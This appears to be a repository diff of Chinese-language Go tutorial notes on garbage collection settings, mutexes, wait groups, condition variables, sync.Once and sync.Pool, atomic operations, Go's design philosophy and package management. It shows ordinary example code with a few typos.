调度器驱使的自动GC和系统检测任务中的强制GC,都是gcBackgroundMode模式,但是前者会检查内存使用量,只有增量过大时才执行GC,后者无视这个条件。
|
||||
|
||||
通过环境变量GODEBUG可以手动控制GC并发性,设置gcstoptheworld的值为1,GC的执行模式就会由gcBackgroundMode变为gcForceMode,设为2则变为gcForceBlockMode。
|
||||
|
||||
Go运行时系统会在分配新内存是会检查Go程序的内存使用增量,若增量翻倍,则会触发GC。人工设置`runtime/debug.SetGCPercent`函数可以改变增量阈值(int类型,已分配内存的百分之几触发GC)。默认阈值是100,为负数时不会触发GC,该函数在被调用后会返回旧的阈值。
|
||||
|
||||
注意:
|
||||
- GOGC环境变量也可以设置GC阈值,但是必须在程序启动前进行设置
|
||||
- 关闭GC后就需要手动GC,`runtime.GC`函数可以手动触发一次GC,不过这个GC函数会阻塞调用方直到GC完成,此时GC以gcForceBlockMode模式执行
|
||||
- 调用`runtime/debug`包的`FreeOSMemory`函数也可以手动触发一次串行GC,并在GC完成后执行一次清扫堆操作
|
220
02-并发编程/08-同步1-锁.md
Normal file
220
02-并发编程/08-同步1-锁.md
Normal file
@ -0,0 +1,220 @@
|
||||
## 一 并发解决方案
|
||||
|
||||
Go程序可以使用通道进行多个goroutine间的数据交换,但是这仅仅是数据同步中的一种方法。Go语言与其他语言如C、Java一样,也提供了同步机制,在某些轻量级的场合,原子访问(sync/atomic包),互斥锁(sync.Mutex)以及等待组(sync.WaitGroup)能最大程度满足需求。
|
||||
|
||||
贴士:利用通道优雅的实现了并发通信,但是其内部的实现依然使用了各种锁,因此优雅代码的代价是性能的损失。
|
||||
|
||||
## 二 锁
|
||||
|
||||
#### 1.1 互斥锁 sync.Mutex
|
||||
|
||||
互斥锁是传统并发程序进行共享资源访问控制的主要方法。Go中由结构体`sync.Mutex`表示互斥锁,保证同时只有一个 goroutine 可以访问共享资源。
|
||||
|
||||
示例一,普通数据加锁:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
//"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
var mutex sync.Mutex
|
||||
|
||||
num := 0
|
||||
|
||||
// 开启10个协程,每个协程都让共享数据 num + 1
|
||||
for i := 0; i < 1000; i++ {
|
||||
go func() {
|
||||
mutex.Lock() // 加锁,阻塞其他协程获取锁
|
||||
num += 1
|
||||
mutex.Unlock() // 解锁
|
||||
}()
|
||||
}
|
||||
|
||||
// 大致模拟协程结束 等待5秒
|
||||
time.Sleep(time.Second * 5)
|
||||
|
||||
// 输出1000,如果没有加锁,则输出的数据很大可能不是1000
|
||||
fmt.Println("num = ", num)
|
||||
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
一旦发生加锁,如果另外一个 goroutine 尝试继续加锁时将会发生阻塞,直到这个 goroutine 被解锁,所以在使用互斥锁时应该注意一些常见情况:
|
||||
- 对同一个互斥量的锁定和解锁应该成对出现,对一个已经锁定的互斥量进行重复锁定,会造成goroutine阻塞,直到解锁
|
||||
- 对未加锁的互斥锁解锁,会引发运行时崩溃,1.8版本之前可以使用defer可以有效避免该情况,但是重复解锁容易引起goroutine永久阻塞,1.8版本之后无法利用defer+recover恢复
|
||||
|
||||
示例二:对象加锁
|
||||
```go
|
||||
// 账户对象,对象内置了金额与锁,对象拥有读取金额、添加金额方法
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Account struct {
|
||||
money int
|
||||
lock *sync.Mutex
|
||||
}
|
||||
|
||||
func (a *Account)Query() {
|
||||
fmt.Println("当前金额为:", a.money)
|
||||
}
|
||||
|
||||
func (a *Account)Add(num int) {
|
||||
a.lock.Lock()
|
||||
a.money += num
|
||||
a.lock.Unlock()
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
a := &Account{
|
||||
0,
|
||||
&sync.Mutex{},
|
||||
}
|
||||
|
||||
for i := 0; i < 100; i++ {
|
||||
go func(num int){
|
||||
a.Add(num)
|
||||
}(10)
|
||||
}
|
||||
|
||||
time.Sleep(time.Second * 2)
|
||||
a.Query() // 不加锁会打印不到1000的数值,加锁后打印 1000
|
||||
}
|
||||
```
|
||||
|
||||
#### 2.2 读写锁 sync.RWMutex
|
||||
|
||||
在开发场景中,经常遇到多处并发读取,一次并发写入的情况,Go为了方便这些操作,在互斥锁基础上,提供了读写锁操作。
|
||||
|
||||
读写锁即针对读写操作的互斥锁,简单来说,就是将数据设定为 写模式(只写)或者读模式(只读)。使用读写锁可以分别针对读操作和写操作进行锁定和解锁操作。
|
||||
|
||||
读写锁的访问控制规则与互斥锁有所不同:
|
||||
- 写操作与读操作之间也是互斥的
|
||||
- 读写锁控制下的多个写操作之间是互斥的,即一路写
|
||||
- 多个读操作之间不存在互斥关系,即多路读
|
||||
|
||||
在Go中,读写锁由结构体`sync.RWMutex`表示,包含两对方法:
|
||||
```go
|
||||
// 设定为写模式:与互斥锁使用方式一致,一路只写
|
||||
func (*RWMutex) Lock() // 锁定写
|
||||
func (*RWMutex) Unlock() // 解锁写
|
||||
|
||||
// 设定为读模式:对读执行加锁解锁,即多路只读
|
||||
func (*RWMutex) RLock()
|
||||
func (*RWMutex) RUnlock()
|
||||
```
|
||||
注意:
|
||||
- Mutex和RWMutex都不关联goroutine,但RWMutex显然更适用于读多写少的场景。仅针对读的性能来说,RWMutex要高于Mutex,因为rwmutex的多个读可以并存。
|
||||
- 所有被读锁定的goroutine会在写解锁时唤醒
|
||||
- 读解锁只会在没有任何读锁定时,唤醒一个要进行写锁定而被阻塞的goroutine
|
||||
- 对未被锁定的读写锁进行写解锁或读解锁,都会引发运行时崩溃
|
||||
- 对同一个读写锁来说,读锁定可以有多个,所以需要进行等量的读解锁,才能让某一个写锁获得机会,否则该goroutine一直处于阻塞,但是sync.RWMutext没有提供获取读锁数量方法,这里需要使用defer避免,如下案例所示。
|
||||
|
||||
```go
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
var rwm sync.RWMutex
|
||||
|
||||
for i := 0; i < 3; i++ {
|
||||
go func(i int) {
|
||||
fmt.Println("Try Lock reading i:", i)
|
||||
rwm.RLock()
|
||||
fmt.Println("Ready Lock reading i:", i)
|
||||
time.Sleep(time.Second * 2)
|
||||
fmt.Println("Try Unlock reading i: ", i)
|
||||
rwm.RUnlock()
|
||||
fmt.Println("Ready Unlock reading i:", i)
|
||||
}(i)
|
||||
}
|
||||
|
||||
time.Sleep(time.Millisecond * 100)
|
||||
fmt.Println("Try Lock writing ")
|
||||
rwm.Lock()
|
||||
fmt.Println("Ready Locked writing ")
|
||||
}
|
||||
```
|
||||
|
||||
上述案例中,只有循环结束,才会执行写锁,所以输出如下:
|
||||
```go
|
||||
...
|
||||
Ready Locked writing // 总在最后一行
|
||||
```
|
||||
|
||||
#### 2.3 读写锁补充 RLocker方法
|
||||
|
||||
`sync.RWMutex`类型还有一个指针方法`RLocker`:
|
||||
|
||||
```go
|
||||
func (rw *RWMutex) RLocker() Locker
|
||||
```
|
||||
|
||||
返回值Locker是实现了接口`sync.Lokcer`的值,该接口同样被 `*sync.Mutex`和`*sync.RWMutex`实现,包含方法:`Lock`和`Unlock`。
|
||||
|
||||
当调用读写锁的RLocker方法后,获得的结果是读写锁本身,该结果可以调用Lock和Unlock方法,和RLock,RUnlock使用一致。
|
||||
|
||||
#### 2.4 最后的说明
|
||||
|
||||
读写锁的内部其实使用了互斥锁来实现,他们都使用了同步机制:信号量。
|
||||
|
||||
## 三 死锁
|
||||
|
||||
常见会出现死锁的场景:
|
||||
- 两个协程互相要求对方先操作,如:AB相互要求对方先发红包,然后自己再发
|
||||
- 读写双方相互要求对方先执行,自己后执行
|
||||
|
||||
模拟死锁:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
|
||||
func main() {
|
||||
|
||||
var rwm sync.RWMutex
|
||||
ch := make(chan int)
|
||||
|
||||
go func() {
|
||||
rwm.RLock() // 加读锁
|
||||
x := <- ch // 如果不写入,则无法读取
|
||||
fmt.Println("读取到的x:", x)
|
||||
rwm.RUnlock()
|
||||
}()
|
||||
|
||||
go func() {
|
||||
rwm.Lock() // 加入写锁
|
||||
ch <- 10 // 管道无缓存,没人读走,则无法写入
|
||||
fmt.Println("写入:", 10)
|
||||
rwm.Unlock()
|
||||
}()
|
||||
|
||||
time.Sleep(time.Second * 5)
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
将上述死锁案例中的锁部分代码去除,则两个协程正常执行。
|
151
02-并发编程/08-同步2-等待组.md
Normal file
151
02-并发编程/08-同步2-等待组.md
Normal file
@ -0,0 +1,151 @@
|
||||
## 一 等待组 sync.WaitGroup
|
||||
|
||||
`sync.WaitGroup`类型的值也是并发安全的,该类型结构体中内内部拥有一个计数器,计数器的值可以通过方法调用实现计数器的增加和减少 。
|
||||
|
||||
当我们添加了 N 个并发任务进行工作时,就将等待组的计数器值增加 N。每个任务完成时,这个值减1。 同时,在另外一个 goroutine 中等待这个等待组的计数器值为 0 时, 表示所有任务己经完成。
|
||||
|
||||
等待组常用方法:
|
||||
- (wg *WaitGroup) Add(delta int) 等待组计数器+1,该方法也可以传入负值让等待计数减少,切记不能减少为负数,会引发崩溃
|
||||
- (wg *WaitGroup) Done() 等待组计数器-1,等同于Add传入负值
|
||||
- (wg *WaitGroup) Wait() 等待组计数器!=0时阻塞,直到为0
|
||||
|
||||
应用场景:WaitGroup一般用于协调多个goroutine运行。
|
||||
|
||||
简单示例:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
var wg sync.WaitGroup // 声明一个等待组
|
||||
|
||||
var urls = []string{
|
||||
"https://www.baidu.com/",
|
||||
"https://www.163.com/",
|
||||
"https://www.weibo.com/",
|
||||
}
|
||||
|
||||
for _, url := range urls {
|
||||
wg.Add(1) // 每个任务开始,等待组+1
|
||||
go func(url string) {
|
||||
defer wg.Done()
|
||||
_, err := http.Get(url) // 执行访问
|
||||
fmt.Println(url, err)
|
||||
}(url)
|
||||
}
|
||||
|
||||
wg.Wait() // 等待所有任务完成
|
||||
fmt.Println("over")
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
上述案例可以使用channel方式,每个go协程执行时,channel传递完成信号,但是使用通道的方式明显过重。
|
||||
|
||||
贴士:有了等待组,我们就不需要再在main函数中使用 `time.Sleep()`方法来模拟等待协程运行结束了。
|
||||
|
||||
|
||||
## 二 等待组与锁配合使用示例
|
||||
|
||||
开启多个协程对共享内存产生竞争,单独使用等待组不能解决问题,如下所示:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
var wg sync.WaitGroup
|
||||
var money = 10000
|
||||
|
||||
// 开启10个协程,每个协程内部 循环1000次,每次循环值+10
|
||||
for i := 0; i < 10; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
for j := 0; j < 100; j++ {
|
||||
money += 10 // 多个协程对 money产生了竞争
|
||||
}
|
||||
wg.Done()
|
||||
}()
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
|
||||
fmt.Println("最终的monet = ", money) // 应该输出20000才正确,但是每次运行输出结果不正确
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
等待组与互斥锁(同步锁)配合解决钱数问题示例:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
var mt sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
var money = 10000
|
||||
|
||||
// 开启10个协程,每个协程内部 循环1000次,每次循环值+10
|
||||
for i := 0; i < 10; i++ {
|
||||
wg.Add(1)
|
||||
go func(index int) {
|
||||
mt.Lock()
|
||||
fmt.Printf("协程 %d 抢到锁\n", index)
|
||||
for j := 0; j < 100; j++ {
|
||||
money += 10 // 多个协程对 money产生了竞争
|
||||
}
|
||||
fmt.Printf("协程 %d 准备解锁\n", index)
|
||||
mt.Unlock()
|
||||
wg.Done()
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
|
||||
fmt.Println("最终的monet = ", money) // 应该输出20000才正确
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
可能的打印结果:
|
||||
```
|
||||
协程 9 抢到锁
|
||||
协程 9 准备解锁
|
||||
协程 4 抢到锁
|
||||
协程 4 准备解锁
|
||||
协程 0 抢到锁
|
||||
协程 0 准备解锁
|
||||
协程 1 抢到锁
|
||||
协程 1 准备解锁
|
||||
协程 2 抢到锁
|
||||
协程 2 准备解锁
|
||||
协程 3 抢到锁
|
||||
协程 3 准备解锁
|
||||
协程 7 抢到锁
|
||||
协程 7 准备解锁
|
||||
协程 5 抢到锁
|
||||
协程 5 准备解锁
|
||||
协程 8 抢到锁
|
||||
协程 8 准备解锁
|
||||
协程 6 抢到锁
|
||||
协程 6 准备解锁
|
||||
最终的monet = 20000
|
||||
```
|
114
02-并发编程/08-同步3-条件变量.md
Normal file
114
02-并发编程/08-同步3-条件变量.md
Normal file
@ -0,0 +1,114 @@
|
||||
## 一 条件变量
|
||||
|
||||
`sync.Cond`类型即是Go中的条件变量,该类型内部包含一个锁接口。条件变量通常与锁配合使用:
|
||||
|
||||
创建条件变量的函数:
|
||||
```go
|
||||
func NewCond(l locker) *Cond // 条件变量必须传入一个锁,二者需要配合使用
|
||||
```
|
||||
|
||||
`*sync.Cond`类型有三个方法:
|
||||
- Wait: 该方法会阻塞等待条件变量满足条件。也会对锁进行解锁,一旦收到通知则唤醒,并立即锁定该锁
|
||||
- Signal: 发送通知(单发),给一个正在等待在该条件变量上的协程发送通知
|
||||
- Broadcast: 发送通知(广播),给正在等待该条件变量的所有协程发送通知,容易产生 惊群
|
||||
|
||||
示例:
|
||||
```go
|
||||
func main() {
|
||||
|
||||
cond := sync.NewCond(&sync.Mutex{})
|
||||
|
||||
condition := false
|
||||
|
||||
// 开启一个新的协程,修改变量 condition
|
||||
go func() {
|
||||
|
||||
time.Sleep(time.Second * 1)
|
||||
cond.L.Lock()
|
||||
|
||||
condition = true // 状态变更,发送通知
|
||||
cond.Signal() // 发信号
|
||||
|
||||
cond.L.Unlock()
|
||||
}()
|
||||
|
||||
// main协程 是被通知的对象,等待通知
|
||||
cond.L.Lock()
|
||||
for !condition {
|
||||
cond.Wait() // 内部释放了锁(释放后,子协程能拿到锁),并等待通知(消息)
|
||||
fmt.Println("获取到了消息")
|
||||
}
|
||||
cond.L.Unlock() // 接到通知后,会被再次锁住,所以需要在需要的场合释放
|
||||
|
||||
fmt.Println("运行结束")
|
||||
}
|
||||
```
|
||||
|
||||
使用条件变量优化生产消费模型(支持多个生产者、多个消费者):
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 定义缓冲区大小
|
||||
const BUFLEN = 5
|
||||
|
||||
// 全局位置定义全局变量
|
||||
var cond *sync.Cond = sync.NewCond(&sync.Mutex{})
|
||||
|
||||
// 生产者
|
||||
func producer(ch chan<- int) {
|
||||
for {
|
||||
cond.L.Lock() // 给条件变量对应的互斥锁加锁
|
||||
for len(ch) == BUFLEN { // 缓冲区满,则等待消费者消费,这里不能是if
|
||||
cond.Wait()
|
||||
}
|
||||
ch <- rand.Intn(1000) // 写入缓冲区一个随机数
|
||||
cond.L.Unlock() // 生产结束,解锁互斥锁
|
||||
cond.Signal() // 一旦生产后,就唤醒其他被阻塞的消费者
|
||||
time.Sleep(time.Second * 2)
|
||||
}
|
||||
}
|
||||
|
||||
// 消费者
|
||||
func consumer(ch <-chan int) {
|
||||
for {
|
||||
cond.L.Lock() // 全局条件变量加锁
|
||||
for len(ch) == 0 { // 如果缓冲区为空,则等待生产者生产,,这里不能是if
|
||||
cond.Wait() // 挂起当前协程,等待条件变量满足,唤醒生产者
|
||||
}
|
||||
fmt.Println("Receive:", <-ch)
|
||||
cond.L.Unlock()
|
||||
cond.Signal()
|
||||
time.Sleep(time.Second * 1)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
rand.Seed(time.Now().UnixNano()) // 设置随机数种子
|
||||
|
||||
// 生产消费模型中的
|
||||
ch := make(chan int, BUFLEN)
|
||||
|
||||
// 启动10个生产者
|
||||
for i := 0; i < 10; i++ {
|
||||
go producer(ch)
|
||||
}
|
||||
|
||||
// 启动10个消费者
|
||||
for i := 0; i < 10; i++ {
|
||||
go consumer(ch)
|
||||
}
|
||||
|
||||
// 阻塞主程序退出
|
||||
for {
|
||||
|
||||
}
|
||||
}
|
||||
```
|
129
02-并发编程/08-同步4-sync包的其他API.md
Normal file
129
02-并发编程/08-同步4-sync包的其他API.md
Normal file
@ -0,0 +1,129 @@
|
||||
## 一 Once 只执行一次
|
||||
|
||||
sync包提供了互斥锁、读写锁、条件变量等常见并发场景需要的API。sync还有一些其他API,如结构体:`sync.Once`,负责只执行一次,也即全局唯一操作。
|
||||
|
||||
使用方式如下:
|
||||
```go
|
||||
var once sync.Once
|
||||
once.Do(func(){}) // Do方法的有效调用次数永远是1
|
||||
```
|
||||
|
||||
`sync.Once`的典型应用场景是只执行一次的任务,如果这样的任务不适合在init函数中执行,该结构体类就会派上用场。
|
||||
|
||||
sync.Once内部使用了“卫述语句、双重检查锁定、共享标记的原子操作”来实现`Once`功能。
|
||||
|
||||
once示例:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type Person struct {
|
||||
Name string
|
||||
Age int
|
||||
}
|
||||
|
||||
func (p *Person)Grown() {
|
||||
p.Age += 1
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
var once sync.Once
|
||||
var wg sync.WaitGroup
|
||||
|
||||
p := &Person{
|
||||
"比尔",
|
||||
0,
|
||||
}
|
||||
|
||||
for i := 0; i < 10; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
once.Do(func(){
|
||||
p.Grown()
|
||||
})
|
||||
wg.Done()
|
||||
}()
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
fmt.Println("年龄是:", p.Age) // 只会输出 1
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
## 二 对象池 sync.Pool
|
||||
|
||||
`sync.Pool`可以作为临时值的容器,该容器具备自动伸缩、高效特性,同时也是并发安全的,其方法有:
|
||||
- Get:从池中取出一个值,类型为`interface{}`
|
||||
- Put:存储一个值到池中,存储的值类型为`interface{}`
|
||||
|
||||
使用示例:
|
||||
```go
|
||||
p := &sync.Pool{
|
||||
New: func() interface{} {
|
||||
return 0
|
||||
},
|
||||
}
|
||||
|
||||
a := p.Get().(int)
|
||||
p.Put(1)
|
||||
b := p.Get().(int)
|
||||
fmt.Println(a, b) // 0 1
|
||||
```
|
||||
|
||||
注意:
|
||||
- 如果池子从未Put过,其New字段也没有被赋值一个非nil值,那么Get方法返回结果一定是nil。
|
||||
- Get获取的值不一定存在于池中,如果Get到的值存在于池中,则该值Get后会被删除
|
||||
|
||||
对象池原理:
|
||||
- 对象池可以把内部的值产生的压力分摊,即专门为每个操作它的协程关联的P建立本地池。Get方法被调用时,先从本地P对象的本地私有池和本地共享池获取值,如果获取失败,则从其他P的本地私有池偷取一个值返回,如果依然没有获取到,会依赖于当前对象池的值生成函数。注意:生产函数产生的值不会被放到对象池中,只是起到返回值作用
|
||||
- 对象池的Put方法会把参数值存放到本地P的本地池中,每个P的本地共享池中的值,都是共享的,即随时可能会被偷走
|
||||
- 对象池对垃圾回收友好,执行垃圾回收时,会将对象池中的对象值全部溢出
|
||||
|
||||
应用场景:sync.Pool的定位不是做类似连接池的东西,仅仅是增加对象重用的几率,减少gc的负担,而开销方面也不是很便宜的。
|
||||
|
||||
案例:由于fmt包总是使用一些`[]byte`对象,可以为其建立了一个临时对象池,存放这些对象,需要的时候,从pool中取,拿不到则分配一份,这样就能避免一直生成`[]byte`,垃圾回收的效率也高了很多。
|
||||
|
||||
示例:
|
||||
```go
|
||||
// 声明[]byte的对象池,每个对象为一个[]byte
|
||||
var BytePool = sync.Pool{
|
||||
New: func() interface{} {
|
||||
b := make([]byte, 1024)
|
||||
return &b
|
||||
},
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
time1 := time.Now().Unix()
|
||||
|
||||
// 不使用对象池创建 10000000
|
||||
obj1 := make([]byte, 1024)
|
||||
for i := 0; i < 100000000; i++ {
|
||||
obj1 = make([]byte, 1024)
|
||||
_ = obj1
|
||||
}
|
||||
|
||||
time2 := time.Now().Unix()
|
||||
|
||||
// 使用对象池创建 10010000
|
||||
obj2 := BytePool.Get().(*[]byte)
|
||||
for i := 0; i < 100000000; i++ {
|
||||
obj2 = BytePool.Get().(*[]byte)
|
||||
BytePool.Put(obj2)
|
||||
_ = obj2
|
||||
}
|
||||
|
||||
time3 := time.Now().Unix()
|
||||
|
||||
fmt.Println("without pool: ", time2-time1, "s") // 16s
|
||||
fmt.Println("with pool: ", time3-time2, "s") // 1s
|
||||
}
|
||||
```
|
111
02-并发编程/08-同步5-原子操作.md
Normal file
111
02-并发编程/08-同步5-原子操作.md
Normal file
@ -0,0 +1,111 @@
|
||||
## 一 原子操作理解
|
||||
|
||||
对并发的操作,可以利用Go新提出的管道思想,大多数语言都有的锁思想,也可以使用最基础的原子操作。
|
||||
|
||||
原子操作的执行过程不能被中断,因为此时CPU不会去执行其他对该值进行的操作。
|
||||
|
||||
Go语言提供的原子操作是非侵入式的,由标准库代码包`sync/atomic`提供了一系列原子操作函数。这些函数可以对一些数据类型进行原子操作:int32,int64,uint32,uint64,uintptr,unsafe.Pointer。这些函数提供的原子操作有5种:增、减、比较并交换、载入、存储、交换。
|
||||
|
||||
注意:
|
||||
- 不能取地址值的数值无法进行原子操作
|
||||
- 在性能上,原子操作比互斥锁性能更高
|
||||
|
||||
## 二 常用原子操作
|
||||
|
||||
### 2.1 原子运算:增/减
|
||||
|
||||
增加函数的函数名前缀都是Add开头
|
||||
|
||||
```go
|
||||
// 原子性的把一个int32类型变量 i32 增大3 ,下列函数返回值必定是已经被修改的值
|
||||
newi32 := atomic.AddInt32(&i32, 3) // 传入指针类型因为该函数需要获得数据的内存位置,以施加特殊的CPU指令
|
||||
```
|
||||
|
||||
常见的增/减原子操作函数:
|
||||
- atomic.AddInt32
|
||||
- atomic.AddInt64
|
||||
- atomic.AddUint32
|
||||
- atomic.AddUint64
|
||||
- atomic.AddUintptr
|
||||
|
||||
注意:
|
||||
- 如果需要执行减少操作,可以这样书写 atomic.AddInt32(&i32, -3)
|
||||
- 对uint32执行增加NN(代表负整数,增加NN也可以理解为减少-NN):atomic.AddUint32(&ui32, ^uint32(-NN-1)) # 原理:补码
|
||||
- 对uint64以此类推
|
||||
- 不存在atomic.AddPointer的函数,因为unsafe.Poniter类型的值无法被增减
|
||||
|
||||
### 2.2 原子运算:比较与替换
|
||||
|
||||
比较并替换即“Compare And Swap”,简称CAS。该类原子操作名称都以`CompareAndSwap`为前缀。
|
||||
|
||||
举例:
|
||||
```go
|
||||
// 参数一:被操作数 参数二和参数三代表被操作数的旧值和新值
|
||||
func CompareAndSwapInt32(addr *int32, old, new int32)(swap bool)
|
||||
```
|
||||
CAS的一些特点:
|
||||
- CAS与锁相比,明显不同是它总是假设操作值未被改变,一旦确认这个假设为真,立即进行替换。所以锁的做法趋于悲观,CAS的做法趋于乐观。
|
||||
- CAS的优势:可以在不创建互斥量和不形成临界区的情况下,完成并发安全的值替换操作,可以大大减少性能损耗。
|
||||
- CAS的劣势:在被操作之被频繁变更的情况下,CAS操作容易失败,有时候需要for循环判断返回结构的bool来进行多次尝试
|
||||
- CAS操作不会阻塞协程,但是仍可能使流程执行暂时停滞(这种停滞极短)
|
||||
|
||||
应用场景:并发安全的更新一些类型的值,可以优先选择CAS操作。
|
||||
|
||||
### 2.3 原子读取:载入
|
||||
|
||||
为了原子的读取数值,Go提供了一系列载入函数,名称以`Load`为前缀。
|
||||
|
||||
CAS与载入的配合示例:
|
||||
```go
|
||||
// value 增加 num
|
||||
func addValue(value,num int32) {
|
||||
for {
|
||||
v := atomic.LoadInt32(&value)
|
||||
if atomic.ComapreAndSwapInt32(&value, v, (v + num)) {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 2.4 原子写入:存储
|
||||
|
||||
在原子存储时,任何CPU都不会进行针对同一个值的读写操作,此时不会出现并发时候,别人读取到了修改了一半的值。
|
||||
|
||||
Go的`sync/atomic`包提供的存储函数都是以`Store`为前缀。
|
||||
|
||||
示例:
|
||||
```go
|
||||
// 参数一位被操作数据的指针 参数二是要存储的新值
|
||||
atomic.StoreInt32(i *int3, v int32)
|
||||
```
|
||||
|
||||
Go原子存储的特点:存储操作总会成功,因为不关心被操作值的旧值是什么,这与CAS有明显区别。
|
||||
|
||||
### 2.5 交换
|
||||
|
||||
交换与CAS操作相似,但是交换不关心被操作数据的旧值,而是直接设置新值,不过会返回被操作值的旧值。交换操作比CAS操作的约束更少,且比载入操作功能更强。
|
||||
在Go中,交换操作都以`Swap`为前缀,示例:
|
||||
```go
|
||||
// 参数一是被操作值指针 参数二是新值 返回值为旧值
|
||||
atomic.SwapInt32(i *int32, v int32)
|
||||
```
|
||||
|
||||
## 三 原子值
|
||||
|
||||
Go还提供了`sync/atomic.Value`类型的结构体,用于存储需要原子读写的值。该类型与第二章中的原子操作最大的区别是,可接受的值类型不限。
|
||||
|
||||
示例:
|
||||
```go
|
||||
var atomicV atomic.Value
|
||||
```
|
||||
|
||||
该结构体包含的方法:
|
||||
- Load:原子的读取原子值实例的值,返回interface{}类型结果
|
||||
- Store:原子的向原子值实例中存储值,接受一个interface{}类型参数(不能是nil),无返回结果
|
||||
|
||||
注意:
|
||||
- 如果一个原子值没有通过Store方法存储值,那么其Load方法总是返回nil
|
||||
- 原子值实例一旦存储了一个类型的值,后续再次Store存储时,存储的值必须也是原有的类型
|
||||
|
||||
尤其注意:atomic.Value变量(指针类型变量除外)声明后,值不应该被赋值到别处,比如赋值给别的变量,作为参数值传入函数,作为结果值从函数返回等等,这样会有安全隐患。 因为结构体值的复制不但会生产该值的副本,还会生成其中字段的副本,会造成并发安全保护失效。
|
15
03-工程管理/00-Go编程哲学.md
Normal file
15
03-工程管理/00-Go编程哲学.md
Normal file
@ -0,0 +1,15 @@
|
||||
## 一 Go语言的设计思想
|
||||
|
||||
- 少即是多:
|
||||
- 很少的语法特性
|
||||
- 满足语言特性的正交性:多个组成因子中,一个发生变化,不会影响其他因子变化。Go中的goroutine、interface、类型系统的组合能够极大增强Go的表现力
|
||||
- 把一种事情做到极致,而不是提供多个选择。如 for 循环一个关键字可以替代 for、while、do while三种C语言的场景
|
||||
- 组合优于继承:世界由万物组合而成,而不是万物皆对象。继承关系只是世界表象中一个很小的子集,组合才是世界组成的根本。
|
||||
- 非侵入式接口:Go的接口采用了一种Duck模型,具体类型不需要显式的声明自己实现了某个接口,只要方法集是接口方法集的超集即可。接口类型的是否实现判断交给了编译器处理,该方式让接口和实现者之间实现了解耦。
|
||||
|
||||
## 二 Go语言中的设计争议
|
||||
|
||||
- 包管理:饱受诟病!!但是在go1.13中得到大幅改善(1.11中即可开启新版包管理方式)
|
||||
- 错误处理:Go的错误处理简单粗暴,但是绝对不优雅!
|
||||
- 泛型支持:Go没有泛型支持,笔者认为无法容忍!
|
||||
|
145
03-工程管理/01-包.md
Normal file
145
03-工程管理/01-包.md
Normal file
@ -0,0 +1,145 @@
|
||||
## 一 包的使用
|
||||
|
||||
### 1.1 package与import
|
||||
|
||||
在实际的开发中,我们往往需要在不同的文件中,去调用其它文件的定义的函数,比如 main.go 中,需要使用"fmt"包中的Println()函数:
|
||||
```go
|
||||
package main
|
||||
import "fmt"
|
||||
```
|
||||
|
||||
在Go中,Go的每一个文件都属于一个包,也就是说Go是以包的形式来管理文件和项目目录结构。
|
||||
|
||||
如果要导入某些第三方包,直接输入包所在地址即可。文件的包名通常和文件所在的文件夹名一致,一般为小写字母。
|
||||
- package 指令在 文件第一行,然后是 import 指令
|
||||
- 在 import 包时,路径从 $GOPATH 的 src 下开始,不用带 src , 编译器会自动从 src 下开始引入
|
||||
- 为了让其它包的文件,可以访问到本包的函数,则该函数名的首字母需要大写,类似其它语言 的 public ,这样才能跨包访问
|
||||
- 在访问其它包函数,变量时,其语法是 `包名.函数名`
|
||||
|
||||
导入包有两种书写方式:
|
||||
- `import "myproject/lib"`: mypeoject是项目文件夹名,这里类似于绝对路径的写法
|
||||
- `import "./lib"`:相对路径方式
|
||||
|
||||
多个包导入可以使用:
|
||||
```go
|
||||
import (
|
||||
"包名"
|
||||
"包名"
|
||||
)
|
||||
```
|
||||
|
||||
推荐:一般包名为全小写格式,且使用一个简短的命名。
|
||||
|
||||
### 1.2 GOPATH
|
||||
|
||||
GOPATH与GROOT:
|
||||
```
|
||||
GOROOT: Go的安装目录,比如c:/Go
|
||||
GOPATH: Go的项目目录
|
||||
```
|
||||
|
||||
GoPath目录用来存放代码文件、可运行文件、编译后的包文件。 1.1-1.7版本必须设置,而且不能和Go的安装目录一样,1.8版本后会有默认值:
|
||||
```
|
||||
Unix:$HOME/go
|
||||
Windows:%USERPROFILE%/go。
|
||||
```
|
||||
|
||||
